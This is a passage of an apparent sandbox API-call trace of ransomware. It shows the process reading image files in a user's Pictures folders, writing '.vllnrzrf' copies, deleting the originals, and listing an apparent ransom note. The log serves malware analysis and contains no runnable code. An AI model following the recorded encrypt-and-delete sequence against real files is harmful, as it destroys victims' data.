halpmcxz\\pictures\\drvzvysnppq3g\\bdvttkpmp.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4fc [0116.855] GetFileType (hFile=0x4fc) returned 0x1 [0116.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91e200) returned 1 [0116.856] GetFileType (hFile=0x4fc) returned 0x1 [0116.856] GetFileSize (in: hFile=0x4fc, lpFileSizeHigh=0x1c91e428 | out: lpFileSizeHigh=0x1c91e428*=0x0) returned 0x73c [0116.856] ReadFile (in: hFile=0x4fc, lpBuffer=0x2356930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c91e358, lpOverlapped=0x0 | out: lpBuffer=0x2356930*, lpNumberOfBytesRead=0x1c91e358*=0x73c, lpOverlapped=0x0) returned 1 [0116.857] CloseHandle (hObject=0x4fc) returned 1 [0116.860] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\BdVttKpMp.gif.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\BdVttKpMp.gif.vllnrzrf", lpFilePart=0x0) returned 0x4b [0116.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91e290) returned 1 [0116.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\BdVttKpMp.gif.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drvzvysnppq3g\\bdvttkpmp.gif.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4fc [0116.860] GetFileType (hFile=0x4fc) returned 0x1 [0116.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91e200) returned 1 [0116.860] GetFileType (hFile=0x4fc) returned 0x1 [0116.860] WriteFile (in: hFile=0x4fc, lpBuffer=0x235e4c0*, nNumberOfBytesToWrite=0x93c, lpNumberOfBytesWritten=0x1c91e268, lpOverlapped=0x0 | out: lpBuffer=0x235e4c0*, lpNumberOfBytesWritten=0x1c91e268*=0x93c, lpOverlapped=0x0) returned 1 [0116.861] CloseHandle (hObject=0x4fc) returned 1 [0116.863] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\BdVttKpMp.gif", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\BdVttKpMp.gif", lpFilePart=0x0) returned 0x42 [0116.863] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\BdVttKpMp.gif", nBufferLength=0x105, lpBuffer=0x1c91df50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\BdVttKpMp.gif", lpFilePart=0x0) returned 0x42 [0116.863] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\BdVttKpMp.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drvzvysnppq3g\\bdvttkpmp.gif")) returned 1 [0116.865] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\Cl8ruLeBO.bmp", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\Cl8ruLeBO.bmp", lpFilePart=0x0) returned 0x42 [0116.865] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\Cl8ruLeBO.bmp", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\Cl8ruLeBO.bmp", lpFilePart=0x0) returned 0x42 [0116.865] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\Cl8ruLeBO.bmp", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\Cl8ruLeBO.bmp", lpFilePart=0x0) returned 0x42 [0116.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91e290) returned 1 [0116.865] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\Cl8ruLeBO.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drvzvysnppq3g\\cl8rulebo.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4fc [0116.865] GetFileType (hFile=0x4fc) returned 0x1 [0116.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91e200) returned 1 [0116.865] GetFileType (hFile=0x4fc) returned 0x1 [0116.865] GetFileSize (in: hFile=0x4fc, lpFileSizeHigh=0x1c91e428 | out: lpFileSizeHigh=0x1c91e428*=0x0) returned 0x1fd2 [0116.866] ReadFile (in: hFile=0x4fc, lpBuffer=0x235ff60, nNumberOfBytesToRead=0x1fd2, lpNumberOfBytesRead=0x1c91e358, lpOverlapped=0x0 | out: lpBuffer=0x235ff60*, lpNumberOfBytesRead=0x1c91e358*=0x1fd2, lpOverlapped=0x0) returned 1 [0116.866] CloseHandle (hObject=0x4fc) returned 1 [0116.872] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\Cl8ruLeBO.bmp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\Cl8ruLeBO.bmp.vllnrzrf", lpFilePart=0x0) returned 0x4b [0116.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91e290) returned 1 [0116.872] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\Cl8ruLeBO.bmp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drvzvysnppq3g\\cl8rulebo.bmp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4fc [0116.872] GetFileType (hFile=0x4fc) returned 0x1 [0116.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91e200) returned 1 [0116.872] GetFileType (hFile=0x4fc) returned 0x1 [0116.872] WriteFile (in: hFile=0x4fc, lpBuffer=0x2371d68*, nNumberOfBytesToWrite=0x21d2, lpNumberOfBytesWritten=0x1c91e3b8, lpOverlapped=0x0 | out: lpBuffer=0x2371d68*, lpNumberOfBytesWritten=0x1c91e3b8*=0x21d2, lpOverlapped=0x0) returned 1 [0116.873] CloseHandle (hObject=0x4fc) returned 1 [0116.875] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\Cl8ruLeBO.bmp", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\Cl8ruLeBO.bmp", lpFilePart=0x0) returned 0x42 [0116.875] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\Cl8ruLeBO.bmp", nBufferLength=0x105, lpBuffer=0x1c91df50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\Cl8ruLeBO.bmp", lpFilePart=0x0) returned 0x42 [0116.875] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\Cl8ruLeBO.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drvzvysnppq3g\\cl8rulebo.bmp")) returned 1 [0116.877] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\psBO-d2Ns.bmp", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\psBO-d2Ns.bmp", lpFilePart=0x0) returned 0x42 [0116.877] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\psBO-d2Ns.bmp", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\psBO-d2Ns.bmp", lpFilePart=0x0) returned 0x42 [0116.877] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\psBO-d2Ns.bmp", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\psBO-d2Ns.bmp", lpFilePart=0x0) returned 0x42 [0116.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91e290) returned 1 [0116.877] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\psBO-d2Ns.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drvzvysnppq3g\\psbo-d2ns.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4fc [0116.877] GetFileType (hFile=0x4fc) returned 0x1 [0116.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91e200) returned 1 [0116.877] GetFileType (hFile=0x4fc) returned 0x1 [0116.878] GetFileSize (in: hFile=0x4fc, lpFileSizeHigh=0x1c91e428 | out: lpFileSizeHigh=0x1c91e428*=0x0) returned 0x1960 [0116.878] ReadFile (in: hFile=0x4fc, lpBuffer=0x2374b60, nNumberOfBytesToRead=0x1960, lpNumberOfBytesRead=0x1c91e358, lpOverlapped=0x0 | out: lpBuffer=0x2374b60*, lpNumberOfBytesRead=0x1c91e358*=0x1960, lpOverlapped=0x0) returned 1 [0116.878] CloseHandle (hObject=0x4fc) returned 1 [0116.883] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\psBO-d2Ns.bmp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\psBO-d2Ns.bmp.vllnrzrf", lpFilePart=0x0) returned 0x4b [0116.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91e290) returned 1 [0116.883] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\psBO-d2Ns.bmp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drvzvysnppq3g\\psbo-d2ns.bmp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4fc [0116.883] GetFileType (hFile=0x4fc) returned 0x1 [0116.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91e200) returned 1 [0116.884] GetFileType (hFile=0x4fc) returned 0x1 [0116.884] WriteFile (in: hFile=0x4fc, lpBuffer=0x2383990*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x1c91e3b8, lpOverlapped=0x0 | out: lpBuffer=0x2383990*, lpNumberOfBytesWritten=0x1c91e3b8*=0x1b60, lpOverlapped=0x0) returned 1 [0116.885] CloseHandle (hObject=0x4fc) returned 1 [0116.886] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\psBO-d2Ns.bmp", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\psBO-d2Ns.bmp", lpFilePart=0x0) returned 0x42 [0116.886] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\psBO-d2Ns.bmp", nBufferLength=0x105, lpBuffer=0x1c91df50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\psBO-d2Ns.bmp", lpFilePart=0x0) returned 0x42 [0116.886] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\psBO-d2Ns.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drvzvysnppq3g\\psbo-d2ns.bmp")) returned 1 [0116.888] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\ZtSB9bTVG_g-G.gif", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\ZtSB9bTVG_g-G.gif", lpFilePart=0x0) returned 0x46 [0116.888] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\ZtSB9bTVG_g-G.gif", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\ZtSB9bTVG_g-G.gif", lpFilePart=0x0) returned 0x46 [0116.888] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\ZtSB9bTVG_g-G.gif", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\ZtSB9bTVG_g-G.gif", lpFilePart=0x0) returned 0x46 [0116.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91e290) returned 1 [0116.888] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\ZtSB9bTVG_g-G.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drvzvysnppq3g\\ztsb9btvg_g-g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4fc [0116.888] GetFileType (hFile=0x4fc) returned 0x1 [0116.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91e200) returned 1 [0116.889] GetFileType (hFile=0x4fc) returned 0x1 [0116.889] GetFileSize (in: hFile=0x4fc, lpFileSizeHigh=0x1c91e428 | out: lpFileSizeHigh=0x1c91e428*=0x0) returned 0x2b4a [0116.889] ReadFile (in: hFile=0x4fc, lpBuffer=0x2386138, nNumberOfBytesToRead=0x2b4a, lpNumberOfBytesRead=0x1c91e358, lpOverlapped=0x0 | out: lpBuffer=0x2386138*, lpNumberOfBytesRead=0x1c91e358*=0x2b4a, lpOverlapped=0x0) returned 1 [0116.890] CloseHandle (hObject=0x4fc) returned 1 [0116.897] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\ZtSB9bTVG_g-G.gif.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\ZtSB9bTVG_g-G.gif.vllnrzrf", lpFilePart=0x0) returned 0x4f [0116.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91e290) returned 1 [0116.897] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\ZtSB9bTVG_g-G.gif.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drvzvysnppq3g\\ztsb9btvg_g-g.gif.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4fc [0116.897] GetFileType (hFile=0x4fc) returned 0x1 [0116.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91e200) returned 1 [0116.897] GetFileType (hFile=0x4fc) returned 0x1 [0116.897] WriteFile (in: hFile=0x4fc, lpBuffer=0x239d3f8*, nNumberOfBytesToWrite=0x2d4a, lpNumberOfBytesWritten=0x1c91e3b8, lpOverlapped=0x0 | out: lpBuffer=0x239d3f8*, lpNumberOfBytesWritten=0x1c91e3b8*=0x2d4a, lpOverlapped=0x0) returned 1 [0116.899] CloseHandle (hObject=0x4fc) returned 1 [0116.900] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\ZtSB9bTVG_g-G.gif", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\ZtSB9bTVG_g-G.gif", lpFilePart=0x0) returned 0x46 [0116.900] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\ZtSB9bTVG_g-G.gif", nBufferLength=0x105, lpBuffer=0x1c91df50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\ZtSB9bTVG_g-G.gif", lpFilePart=0x0) returned 0x46 [0116.900] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\ZtSB9bTVG_g-G.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drvzvysnppq3g\\ztsb9btvg_g-g.gif")) returned 1 [0116.902] CoUninitialize () Thread: id = 95 os_tid = 0x8f4 [0116.906] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0116.908] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1c0adea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0116.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ae300) returned 1 [0116.908] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1c0addf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0116.908] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\", nBufferLength=0x105, lpBuffer=0x1c0add90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\", lpFilePart=0x0) returned 0x36 [0116.908] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\*.*", lpFindFileData=0x1c0adfa0 | out: lpFindFileData=0x1c0adfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2db9080, ftCreationTime.dwHighDateTime=0x1d5dbef, ftLastAccessTime.dwLowDateTime=0x3fba2470, ftLastAccessTime.dwHighDateTime=0x1d5dd30, ftLastWriteTime.dwLowDateTime=0x3fba2470, ftLastWriteTime.dwHighDateTime=0x1d5dd30, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0116.911] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0adff0 | out: lpFindFileData=0x1c0adff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2db9080, ftCreationTime.dwHighDateTime=0x1d5dbef, ftLastAccessTime.dwLowDateTime=0xb5b00cd0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb5b00cd0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.912] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0adff0 | out: lpFindFileData=0x1c0adff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7a541f0, ftCreationTime.dwHighDateTime=0x1d5de92, ftLastAccessTime.dwLowDateTime=0xdc50b5d0, ftLastAccessTime.dwHighDateTime=0x1d5e729, ftLastWriteTime.dwLowDateTime=0xdc50b5d0, ftLastWriteTime.dwHighDateTime=0x1d5e729, nFileSizeHigh=0x0, nFileSizeLow=0x12ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LXiPb7nYhAL11rJLr.bmp", cAlternateFileName="LXIPB7~1.BMP")) returned 1 [0116.912] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0adff0 | out: lpFindFileData=0x1c0adff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a90e800, ftCreationTime.dwHighDateTime=0x1d5dd8d, ftLastAccessTime.dwLowDateTime=0x55e56010, ftLastAccessTime.dwHighDateTime=0x1d5d9a3, ftLastWriteTime.dwLowDateTime=0x55e56010, ftLastWriteTime.dwHighDateTime=0x1d5d9a3, nFileSizeHigh=0x0, nFileSizeLow=0x180ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="nnsTQZrUFVZmt95H.jpg", cAlternateFileName="NNSTQZ~1.JPG")) returned 1 [0116.912] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0adff0 | out: lpFindFileData=0x1c0adff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7cb9ab0, ftCreationTime.dwHighDateTime=0x1d5d841, ftLastAccessTime.dwLowDateTime=0x7ff54200, ftLastAccessTime.dwHighDateTime=0x1d5e4b9, ftLastWriteTime.dwLowDateTime=0x7ff54200, ftLastWriteTime.dwHighDateTime=0x1d5e4b9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tOfL", cAlternateFileName="")) returned 1 [0116.912] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0adff0 | out: lpFindFileData=0x1c0adff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b00cd0, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xb5b00cd0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb5b00cd0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLLNRZRF-README.txt", cAlternateFileName="VLLNRZ~1.TXT")) returned 1 [0116.912] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0adff0 | out: lpFindFileData=0x1c0adff0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.912] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0116.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae250) returned 1 [0116.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae210) returned 1 [0116.914] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\LXiPb7nYhAL11rJLr.bmp", nBufferLength=0x105, lpBuffer=0x1c0add10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\LXiPb7nYhAL11rJLr.bmp", lpFilePart=0x0) returned 0x4b [0116.914] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\LXiPb7nYhAL11rJLr.bmp", nBufferLength=0x105, lpBuffer=0x1c0add10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\LXiPb7nYhAL11rJLr.bmp", lpFilePart=0x0) returned 0x4b [0116.914] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\LXiPb7nYhAL11rJLr.bmp", nBufferLength=0x105, lpBuffer=0x1c0add10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\LXiPb7nYhAL11rJLr.bmp", lpFilePart=0x0) returned 0x4b [0116.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ae1f0) returned 1 [0116.914] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\LXiPb7nYhAL11rJLr.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\lxipb7nyhal11rjlr.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x50c [0116.914] GetFileType (hFile=0x50c) returned 0x1 [0116.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae160) returned 1 [0116.914] GetFileType (hFile=0x50c) returned 0x1 [0116.914] GetFileSize (in: hFile=0x50c, lpFileSizeHigh=0x1c0ae388 | out: lpFileSizeHigh=0x1c0ae388*=0x0) returned 0x12ea0 [0116.914] ReadFile (in: hFile=0x50c, lpBuffer=0x23a6218, nNumberOfBytesToRead=0x12ea0, lpNumberOfBytesRead=0x1c0ae2b8, lpOverlapped=0x0 | out: lpBuffer=0x23a6218*, lpNumberOfBytesRead=0x1c0ae2b8*=0x12ea0, lpOverlapped=0x0) returned 1 [0116.915] CloseHandle (hObject=0x50c) returned 1 [0116.929] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\LXiPb7nYhAL11rJLr.bmp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0add10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\LXiPb7nYhAL11rJLr.bmp.vllnrzrf", lpFilePart=0x0) returned 0x54 [0116.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ae1f0) returned 1 [0116.929] CreateFileW 